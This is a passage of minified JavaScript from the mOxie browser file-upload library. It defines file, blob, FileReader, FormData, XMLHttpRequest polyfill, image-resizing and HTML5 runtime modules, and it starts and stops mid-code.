s[this.uid]}}),t.data?this.detach(t.data):s[this.uid]=t}}),e("moxie/file/File",["moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/file/Blob"],function(r,o,s){function e(e,t){var i,n;t=t||{},s.apply(this,arguments),this.type||(this.type=o.getFileMime(t.name)),t.name?n=(n=t.name.replace(/\\/g,"/")).substr(n.lastIndexOf("/")+1):this.type&&(i=this.type.split("/")[0],n=r.guid((""!==i?i:"file")+"_"),o.extensions[this.type])&&(n+="."+o.extensions[this.type][0]),r.extend(this,{name:n||r.guid("file_"),relativePath:"",lastModifiedDate:t.lastModifiedDate||(new Date).toLocaleString()})}return e.prototype=s.prototype,e}),e("moxie/file/FileDrop",["moxie/core/I18n","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/core/utils/Env","moxie/file/File","moxie/runtime/RuntimeClient","moxie/core/EventTarget","moxie/core/utils/Mime"],function(t,r,e,o,s,i,a,n,u){var c=["ready","dragenter","dragleave","drop","error"];function l(i){MXI_DEBUG&&s.log("Instantiating FileDrop...");var e,n=this;"string"==typeof i&&(i={drop_zone:i}),e={accept:[{title:t.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},(i="object"==typeof i?o.extend({},e,i):e).container=r.get(i.drop_zone)||document.body,"static"===r.getStyle(i.container,"position")&&(i.container.style.position="relative"),"string"==typeof i.accept&&(i.accept=u.mimes2extList(i.accept)),a.call(n),o.extend(n,{uid:o.guid("uid_"),ruid:null,files:null,init:function(){n.bind("RuntimeInit",function(e,t){n.ruid=t.uid,t.exec.call(n,"FileDrop","init",i),n.dispatchEvent("ready")}),n.connectRuntime(i)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null,this.unbindAll()}}),this.handleEventProps(c)}return l.prototype=n.instance,l}),e("moxie/file/FileReader",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/Exceptions","moxie/core/EventTarget","moxie/file/Blob","moxie/runtime/RuntimeClient"],function(e,n,r,t,o,i){var s=["loadstart","progress","load","abort","error","loadend"];function a(){function t(e,t){if(this.trigger("loadstart"),this.readyState===a.LOADING)this.trigger("error",new r.DOMException(r.DOMException.INVALID_STATE_ERR)),this.trigger("loadend");else if(t instanceof o)if(this.result=null,this.readyState=a.LOADING,t.isDetached()){var i=t.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=i;break;case"readAsDataURL":this.result="data:"+t.type+";base64,"+n.btoa(i)}this.readyState=a.DONE,this.trigger("load"),this.trigger("loadend")}else this.connectRuntime(t.ruid),this.exec("FileReader","read",e,t);else this.trigger("error",new r.DOMException(r.DOMException.NOT_FOUND_ERR)),this.trigger("loadend")}i.call(this),e.extend(this,{uid:e.guid("uid_"),readyState:a.EMPTY,result:null,error:null,readAsBinaryString:function(e){t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){t.call(this,"readAsDataURL",e)},readAsText:function(e){t.call(this,"readAsText",e)},abort:function(){this.result=null,-1===e.inArray(this.readyState,[a.EMPTY,a.DONE])&&(this.readyState===a.LOADING&&(this.readyState=a.DONE),this.exec("FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),this.exec("FileReader","destroy"),this.disconnectRuntime(),this.unbindAll()}}),this.handleEventProps(s),this.bind("Error",function(e,t){this.readyState=a.DONE,this.error=t},999),this.bind("Load",function(e){this.readyState=a.DONE},999)}return a.EMPTY=0,a.LOADING=1,a.DONE=2,a.prototype=t.instance,a}),e("moxie/core/utils/Url",[],function(){function s(e,t){for(var i=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],n=i.length,r={},o=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/.exec(e||"");n--;)o[n]&&(r[i[n]]=o[n]);return r.scheme||(t&&"string"!=typeof t||(t=s(t||document.location.href)),r.scheme=t.scheme,r.host=t.host,r.port=t.port,e="",/^[^\/]/.test(r.path)&&(e=t.path,e=/\/[^\/]*\.[^\/]*$/.test(e)?e.replace(/\/[^\/]+$/,"/"):e.replace(/\/?$/,"/")),r.path=e+(r.path||"")),r.port||(r.port={http:80,https:443}[r.scheme]||80),r.port=parseInt(r.port,10),r.path||(r.path="/"),delete r.source,r}return{parseUrl:s,resolveUrl:function(e){e="object"==typeof e?e:s(e);return e.scheme+"://"+e.host+(e.port!=={http:80,https:443}[e.scheme]?":"+e.port:"")+e.path+(e.query||"")},hasSameOrigin:function(e){function t(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof e&&(e=s(e)),t(s())===t(e)}}}),e("moxie/runtime/RuntimeTarget",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(e,t,i){function n(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return n.prototype=i.instance,n}),e("moxie/file/FileReaderSync",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/utils/Encode"],function(e,i,a){return function(){function t(e,t){var i;if(!t.isDetached())return i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t),this.disconnectRuntime(),i;var n=t.getSource();switch(e){case"readAsBinaryString":return n;case"readAsDataURL":return"data:"+t.type+";base64,"+a.btoa(n);case"readAsText":for(var r="",o=0,s=n.length;o<s;o++)r+=String.fromCharCode(n[o]);return r}}i.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return t.call(this,"readAsDataURL",e)},readAsText:function(e){return t.call(this,"readAsText",e)}})}}),e("moxie/xhr/FormData",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/file/Blob"],function(e,s,a){return function(){var r,o=[];s.extend(this,{append:function(i,e){var n=this,t=s.typeOf(e);e instanceof a?r={name:i,value:e}:"array"===t?(i+="[]",s.each(e,function(e){n.append(i,e)})):"object"===t?s.each(e,function(e,t){n.append(i+"["+t+"]",e)}):"null"===t||"undefined"===t||"number"===t&&isNaN(e)?n.append(i,"false"):o.push({name:i,value:e.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return r&&r.value||null},getBlobName:function(){return r&&r.name||null},each:function(t){s.each(o,function(e){t(e.value,e.name)}),r&&t(r.value,r.name)},destroy:function(){r=null,o=[]}})}}),e("moxie/xhr/XMLHttpRequest",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/utils/Encode","moxie/core/utils/Url","moxie/runtime/Runtime","moxie/runtime/RuntimeTarget","moxie/file/Blob","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/core/utils/Env","moxie/core/utils/Mime"],function(_,b,e,A,I,T,S,r,t,O,D,N){var C={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};function M(){this.uid=_.guid("uid_")}M.prototype=e.instance;var L=["loadstart","progress","abort","error","load","timeout","loadend"];function F(){var o,s,a,u,c,t,i=this,n={timeout:0,readyState:F.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},l=!0,d={},m=null,h=null,f=!1,p=!1,g=!1,x=!1,E=!1,y=!1,w={},v="";function R(e,t){if(n.hasOwnProperty(e))return 1===arguments.length?(D.can("define_property")?n:i)[e]:void(D.can("define_property")?n[e]=t:i[e]=t)}_.extend(this,n,{uid:_.guid("uid_"),upload:new M,open:function(e,t,i,n,r){if(!e||!t)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(~_.inArray(e.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(s=e.toUpperCase()),~_.inArray(s,["CONNECT","TRACE","TRACK"]))throw new b.DOMException(b.DOMException.SECURITY_ERR);if(t=A.utf8_encode(t),e=I.parseUrl(t),y=I.hasSameOrigin(e),o=I.resolveUrl(t),(n||r)&&!y)throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);if(a=n||e.user,u=r||e.pass,!1===(l=i||!0)&&(R("timeout")||R("withCredentials")||""!==R("responseType")))throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);f=!l,p=!1,d={},function(){R("responseText",""),R("responseXML",null),R("response",null),R("status",0),R("statusText",""),0}.call(this),R("readyState",F.OPENED),this.dispatchEvent("readystatechange")},setRequestHeader:function(e,t){if(R("readyState")!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);return e=_.trim(e).toLowerCase(),!~_.inArray(e,["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"])&&!/^(proxy\-|sec\-)/.test(e)&&(d[e]?d[e]+=", "+t:d[e]=t,!0)},getAllResponseHeaders:function(){return v||""},getResponseHeader:function(e){return e=e.toLowerCase(),!E&&!~_.inArray(e,["set-cookie","set-cookie2"])&&v&&""!==v&&(t||(t={},_.each(v.split(/\r\n/),function(e){e=e.split(/:\s+/);2===e.length&&(e[0]=_.trim(e[0]),t[e[0].toLowerCase()]={header:e[0],value:_.trim(e[1])})})),t.hasOwnProperty(e))?t[e].header+": "+t[e].value:null},overrideMimeType:function(e){var t,i;if(~_.inArray(R("readyState"),[F.LOADING,F.DONE]))throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(e=_.trim(e.toLowerCase()),/;/.test(e)&&(t=e.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(e=t[1],t[2])&&(i=t[2]),!N.mimes[e])throw new b.DOMException(b.DOMException.SYNTAX_ERR);0},send:function(e,t){if(w="string"===_.typeOf(t)?{ruid:t}:t||{},this.readyState!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);e instanceof r?(w.ruid=e.ruid,h=e.type||"application/octet-stream"):e instanceof O?e.hasBlob()&&(t=e.getBlob(),w.ruid=t.ruid,h=t.type||"application/octet-stream"):"string"==typeof e&&(m="UTF-8",h="text/plain;charset=UTF-8",e=A.utf8_encode(e)),this.withCredentials||(this.withCredentials=w.required_caps&&w.required_caps.send_browser_cookies&&!y),g=!f&&this.upload.hasEventListener(),E=!1,x=!e,f||(p=!0),function(e){var i=this;function n(){c&&(c.destroy(),c=null),i.dispatchEvent("loadend"),i=null}function r(t){c.bind("LoadStart",function(e){R("readyState",F.LOADING),i.dispatchEvent("readystatechange"),i.dispatchEvent(e),g&&i.upload.dispatchEvent(e)}),c.bind("Progress",function(e){R("readyState")!==F.LOADING&&(R("readyState",F.LOADING),i.dispatchEvent("readystatechange")),i.dispatchEvent(e)}),c.bind("UploadProgress",function(e){g&&i.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),c.bind("Load",function(e){R("readyState",F.DONE),R("status",Number(t.exec.call(c,"XMLHttpRequest","getStatus")||0)),R("statusText",C[R("status")]||""),R("response",t.exec.call(c,"XMLHttpRequest","getResponse",R("responseType"))),~_.inArray(R("responseType"),["text",""])?R("responseText",R("response")):"document"===R("responseType")&&R("responseXML",R("response")),v=t.exec.call(c,"XMLHttpRequest","getAllResponseHeaders"),i.dispatchEvent("readystatechange"),0<R("status")?(g&&i.upload.dispatchEvent(e),i.dispatchEvent(e)):(E=!0,i.dispatchEvent("error")),n()}),c.bind("Abort",function(e){i.dispatchEvent(e),n()}),c.bind("Error",function(e){E=!0,R("readyState",F.DONE),i.dispatchEvent("readystatechange"),x=!0,i.dispatchEvent(e),n()}),t.exec.call(c,"XMLHttpRequest","send",{url:o,method:s,async:l,user:a,password:u,headers:d,mimeType:h,encoding:m,responseType:i.responseType,withCredentials:i.withCredentials,options:w},e)}(new Date).getTime(),c=new S,"string"==typeof w.required_caps&&(w.required_caps=T.parseCaps(w.required_caps));w.required_caps=_.extend({},w.required_caps,{return_response_type:i.responseType}),e instanceof O&&(w.required_caps.send_multipart=!0);_.isEmptyObj(d)||(w.required_caps.send_custom_headers=!0);y||(w.required_caps.do_cors=!0);w.ruid?r(c.connectRuntime(w)):(c.bind("RuntimeInit",function(e,t){r(t)}),c.bind("RuntimeError",function(e,t){i.dispatchEvent("RuntimeError",t)}),c.connectRuntime(w))}.call(this,e)},abort:function(){if(f=!(E=!0),~_.inArray(R("readyState"),[F.UNSENT,F.OPENED,F.DONE]))R("readyState",F.UNSENT);else{if(R("readyState",F.DONE),p=!1,!c)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);c.getRuntime().exec.call(c,"XMLHttpRequest","abort",x),x=!0}},destroy:function(){c&&("function"===_.typeOf(c.destroy)&&c.destroy(),c=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}}),this.handleEventProps(L.concat(["readystatechange"])),this.upload.handleEventProps(L)}return F.UNSENT=0,F.OPENED=1,F.HEADERS_RECEIVED=2,F.LOADING=3,F.DONE=4,F.prototype=e.instance,F}),e("moxie/runtime/Transporter",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(m,t,e,i){function h(){var o,n,s,a,r,u;function c(){a=r=0,s=this.result=null}function l(e,t){var i=this;n=t,i.bind("TransportingProgress",function(e){(r=e.loaded)<a&&-1===m.inArray(i.state,[h.IDLE,h.DONE])&&d.call(i)},999),i.bind("TransportingComplete",function(){r=a,i.state=h.DONE,s=null,i.result=n.exec.call(i,"Transporter","getAsBlob",e||"")},999),i.state=h.BUSY,i.trigger("TransportingStarted"),d.call(i)}function d(){var e=a-r;e<u&&(u=e),e=t.btoa(s.substr(r,u)),n.exec.call(this,"Transporter","receive",e,a)}e.call(this),m.extend(this,{uid:m.guid("uid_"),state:h.IDLE,result:null,transport:function(e,i,t){var n,r=this;t=m.extend({chunk_size:204798},t),(o=t.chunk_size%3)&&(t.chunk_size+=3-o),u=t.chunk_size,c.call(this),a=(s=e).length,"string"===m.typeOf(t)||t.ruid?l.call(r,i,this.connectRuntime(t)):(n=function(e,t){r.unbind("RuntimeInit",n),l.call(r,i,t)},this.bind("RuntimeInit",n),this.connectRuntime(t))},abort:function(){this.state=h.IDLE,n&&(n.exec.call(this,"Transporter","clear"),this.trigger("TransportingAborted")),c.call(this)},destroy:function(){this.unbindAll(),n=null,this.disconnectRuntime(),c.call(this)}})}return h.IDLE=0,h.BUSY=1,h.DONE=2,h.prototype=i.instance,h}),e("moxie/image/Image",["moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/file/FileReaderSync","moxie/xhr/XMLHttpRequest","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/runtime/Transporter","moxie/core/utils/Env","moxie/core/EventTarget","moxie/file/Blob","moxie/file/File","moxie/core/utils/Encode"],function(a,n,u,e,o,s,t,c,l,i,d,m,h){var f=["progress","load","error","resize","embedded"];function p(){function i(e){var t=a.typeOf(e);try{if(e instanceof p){if(!e.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);!function(e,t){var i=this.connectRuntime(e.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",e,"undefined"===a.typeOf(t)||t)}.apply(this,arguments)}else if(e instanceof d){if(!~a.inArray(e.type,["image/jpeg","image/png"]))throw new u.ImageError(u.ImageError.WRONG_FORMAT);r.apply(this,arguments)}else if(-1!==a.inArray(t,["blob","file"]))i.call(this,new m(null,e),arguments[1]);else if("string"===t)"data:"===e.substr(0,5)?i.call(this,new d(null,{data:e}),arguments[1]):function(e,t){var i,n=this;(i=new o).open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){r.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}.apply(this,arguments);else{if("node"!==t||"img"!==e.nodeName.toLowerCase())throw new u.DOMException(u.DOMException.TYPE_MISMATCH_ERR);i.call(this,e.src,arguments[1])}}catch(e){this.trigger("error",e.code)}}function r(t,e){var i=this;function n(e){i.ruid=e.uid,e.exec.call(i,"Image","loadFromBlob",t)}i.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){n(t)}),e&&"string"==typeof e.required_caps&&(e.required_caps=s.parseCaps(e.required_caps)),this.connectRuntime(a.extend({required_caps:{access_image_binary:!0,resize_image:!0}},e))):n(this.connectRuntime(t.ruid))}t.call(this),a.extend(this,{uid:a.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){i.apply(this,arguments)},downsize:function(e){var t={width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,crop:!1,preserveHeaders:!0,resample:!1};e="object"==typeof e?a.extend(t,e):a.extend(t,{width:arguments[0],height:arguments[1],crop:arguments[2],preserveHeaders:arguments[3]});try{if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);if(this.width>p.MAX_RESIZE_WIDTH||this.height>p.MAX_RESIZE_HEIGHT)throw new u.ImageError(u.ImageError.MAX_RESOLUTION_ERR);this.exec("Image","downsize",e.width,e.height,e.crop,e.preserveHeaders)}catch(e){this.trigger("error",e.code)}},crop:function(e,t,i){this.downsize(e,t,!0,i)},getAsCanvas:function(){if(l.can("create_canvas"))return this.connectRuntime(this.ruid).exec.call(this,"Image","getAsCanvas");throw new u.RuntimeError(u.RuntimeError.NOT_SUPPORTED_ERR)},getAsBlob:function(e,t){if(this.size)return this.exec("Image","getAsBlob",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsDataURL:function(e,t){if(this.size)return this.exec("Image","getAsDataURL",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsBinaryString:function(e,t){e=this.getAsDataURL(e,t);return h.atob(e.substring(e.indexOf("base64,")+7))},embed:function(r,e){var o,s=this;e=a.extend({width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90},e||{});try{if(!(r=n.get(r)))throw new u.DOMException(u.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);this.width>p.MAX_RESIZE_WIDTH||this.height;var t=new p;return t.bind("Resize",function(){!function(e,t){var i=this;if(l.can("create_canvas")){var n=i.getAsCanvas();if(n)return r.appendChild(n),i.destroy(),void s.trigger("embedded")}if(!(n=i.getAsDataURL(e,t)))throw new u.ImageError(u.ImageError.WRONG_FORMAT);l.can("use_data_uri_of",n.length)?(r.innerHTML='<img src="'+n+'" width="'+i.width+'" height="'+i.height+'" />',i.destroy(),s.trigger("embedded")):((t=new c).bind("TransportingComplete",function(){o=s.connectRuntime(this.result.ruid),s.bind("Embedded",function(){a.extend(o.getShimContainer().style,{top:"0px",left:"0px",width:i.width+"px",height:i.height+"px"}),o=null},999),o.exec.call(s,"ImageView","display",this.result.uid,width,height),i.destroy()}),t.transport(h.atob(n.substring(n.indexOf("base64,")+7)),e,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:r}))}.call(this,e.type,e.quality)}),t.bind("Load",function(){t.downsize(e)}),this.meta.thumb&&this.meta.thumb.width>=e.width&&this.meta.thumb.height>=e.height?t.load(this.meta.thumb.data):t.clone(this,!1),t}catch(e){this.trigger("error",e.code)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.unbindAll()}}),this.handleEventProps(f),this.bind("Load Resize",function(){!function(e){e=e||this.exec("Image","getInfo");this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name)}.call(this)},999)}return p.MAX_RESIZE_WIDTH=8192,p.MAX_RESIZE_HEIGHT=8192,p.prototype=i.instance,p}),e("moxie/runtime/html5/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(s,e,a,u){var c={};return a.addConstructor("html5",function(e){var t,i=this,n=a.capTest,r=a.capTrue,o=s.extend({access_binary:n(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return i.can("access_binary")&&!!c.Image},display_media:n(u.can("create_canvas")||u.can("use_data_uri_over32kb")),do_cors:n(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:n(("draggable"in(o=document.createElement("div"))||"ondragstart"in o&&"ondrop"in o)&&("IE"!==u.browser||u.verComp(u.version,9,">"))),filter_by_extension:n("Chrome"===u.browser&&u.verComp(u.version,28,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||"Safari"===u.browser&&u.verComp(u.version,7,">=")),return_response_headers:r,return_response_type:function(e){return!("json"!==e||!window.JSON)||u.can("return_response_type",e)},return_status_code:r,report_upload_progress:n(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return i.can("access_binary")&&u.can("create_canvas")},select_file:function(){return u.can("use_fileinput")&&window.File},select_folder:function(){return i.can("select_file")&&"Chrome"===u.browser&&u.verComp(u.version,21,">=")},select_multiple:function(){return i.can("select_file")&&!("Safari"===u.browser&&"Windows"===u.os)&&!("iOS"===u.os&&u.verComp(u.osVersion,"7.0.0",">")&&u.verComp(u.osVersion,"8.0.0","<"))},send_binary_string:n(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:n(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||i.can("send_binary_string")},slice_blob:n(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return i.can("slice_blob")&&i.can("send_multipart")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===u.browser&&u.verComp(u.version,4,">=")||"Opera"===u.browser&&u.verComp(u.version,12,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||!!~s.inArray(u.browser,["Chrome","Safari"]))},upload_filesize:r},arguments[2]);a.call(this,e,arguments[1]||"html5",o),s.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),s.extend(this.getShim(),c)}),c}),e("moxie/core/utils/Events",["moxie/core/utils/Basic"],function(o){var s={},a="moxie_"+o.guid();function u(){this.returnValue=!1}function c(){this.cancelBubble=!0}function r(t,e,i){if(e=e.toLowerCase(),t[a]&&s[t[a]]&&s[t[a]][e]){for(var n,r=(n=s[t[a]][e]).length-1;0<=r&&(n[r].orig!==i&&n[r].key!==i||(t.removeEventListener?t.removeEventListener(e,n[r].func,!1):t.detachEvent&&t.detachEvent("on"+e,n[r].func),n[r].orig=null,n[r].func=null,n.splice(r,1),void 0===i));r--);if(n.length||delete s[t[a]][e],o.isEmptyObj(s[t[a]])){delete s[t[a]];try{delete t[a]}catch(e){t[a]=void 0}}}}return{addEvent:function(e,t,i,n){var r;t=t.toLowerCase(),e.addEventListener?e.addEventListener(t,r=i,!1):e.attachEvent&&e.attachEvent("on"+t,r=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=u,e.stopPropagation=c,i(e)}),e[a]||(e[a]=o.guid()),s.hasOwnProperty(e[a])||(s[e[a]]={}),(e=s[e[a]]).hasOwnProperty(t)||(e[t]=[]),e[t].push({func:r,orig:i,key:n})},removeEvent:r,removeAllEvents:function(i,n){i&&i[a]&&o.each(s[i[a]],function(e,t){r(i,t,n)})}}}),e("moxie/runtime/html5/file/FileInput",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,a,u,c,l,d,m){return e.FileInput=function(){var s;u.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime(),e=(s=e).accept.mimes||d.extList2mimes(s.accept,o.can("filter_by_extension"));(t=o.getShimContainer()).innerHTML='<input id="'+o.uid+'" type="file" style="font-size:999px;opacity:0;"'+(s.multiple&&o.can("select_multiple")?"multiple":"")+(s.directory&&o.can("select_folder")?"webkitdirectory directory":"")+(e?' accept="'+e.join(",")+'"':"")+" />",e=c.get(o.uid),u.extend(e.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),i=c.get(s.browse_button),o.can("summon_file_dialog")&&("static"===c.getStyle(i,"position")&&(i.style.position="relative"),n=parseInt(c.getStyle(i,"z-index"),10)||1,i.style.zIndex=n,t.style.zIndex=n-1,l.addEvent(i,"click",function(e){var t=c.get(o.uid);t&&!t.disabled&&t.click(),e.preventDefault()},r.uid)),n=o.can("summon_file_dialog")?i:t,l.addEvent(n,"mouseover",function(){r.trigger("mouseenter")},r.uid),l.addEvent(n,"mouseout",function(){r.trigger("mouseleave")},r.uid),l.addEvent(n,"mousedown",function(){r.trigger("mousedown")},r.uid),l.addEvent(c.get(s.container),"mouseup",function(){r.trigger("mouseup")},r.uid),e.onchange=function e(t){var i;r.files=[],u.each(this.files,function(e){var t="";if(s.directory&&"."==e.name)return!0;e.webkitRelativePath&&(t="/"+e.webkitRelativePath.replace(/^\//,"")),(e=new a(o.uid,e)).relativePath=t,r.files.push(e)}),"IE"!==m.browser&&"IEMobile"!==m.browser?this.value="":(i=this.cloneNode(!0),this.parentNode.replaceChild(i,this),i.onchange=e),r.files.length&&r.trigger("change")},r.trigger({type:"ready",async:!0})},disable:function(e){var t=this.getRuntime();(t=c.get(t.uid))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();l.removeAllEvents(e,this.uid),l.removeAllEvents(s&&c.get(s.container),this.uid),l.removeAllEvents(s&&c.get(s.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),s=null}})}}),e("moxie/runtime/html5/file/Blob",["moxie/runtime/html5/Runtime","moxie/file/Blob"],function(e,t){return e.Blob=function(){this.slice=function(){return new t(this.getRuntime().uid,function(t,i,n){var e;if(!window.File.prototype.slice)return(e=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?e.call(t,i,n):null;try{return t.slice(),t.slice(i,n)}catch(e){return t.slice(i,n-i)}}.apply(this,arguments))}}}),e("moxie/runtime/html5/file/FileDrop",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime"],function(e,r,l,i,d,m){return e.FileDrop=function(){var t,n,o=[],s=[];function a(e){if(e.dataTransfer&&e.dataTransfer.types)return e=l.toArray(e.dataTransfer.types||[]),-1!==l.inArray("Files",e)||-1!==l.inArray("public.file-url",e)||-1!==l.inArray("application/x-moz-file",e)}function u(e,t){var i;i=e,s.length&&(i=m.getFileExtension(i.name))&&-1===l.inArray(i,s)||((i=new r(n,e)).relativePath=t||"",o.push(i))}function c(e,t){var i=[];l.each(e,function(s){i.push(function(e){{var t,n,r;(o=e,(i=s).isFile)?i.file(function(e){u(e,i.fullPath),o()},function(){o()}):i.isDirectory?(t=o,n=[],r=(e=i).createReader(),function t(i){r.readEntries(function(e){e.length?([].push.apply(n,e),t(i)):i()},i)}(function(){c(n,t)})):o()}var i,o})}),l.inSeries(i,function(){t()})}l.extend(this,{init:function(e){var r=this;t=e,n=r.ruid,s=function(e){for(var t=[],i=0;i<e.length;i++)[].push.apply(t,e[i].extensions.split(/\s*,\s*/));return-1===l.inArray("*",t)?t:[]}(t.accept),e=t.container,d.addEvent(e,"dragover",function(e){a(e)&&(e.preventDefault(),e.dataTransfer.dropEffect="copy")},r.uid),d.addEvent(e,"drop",function(e){var t,i,n;a(e)&&(e.preventDefault(),o=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?(t=e.dataTransfer.items,i=function(){r.files=o,r.trigger("drop")},n=[],l.each(t,function(e){var 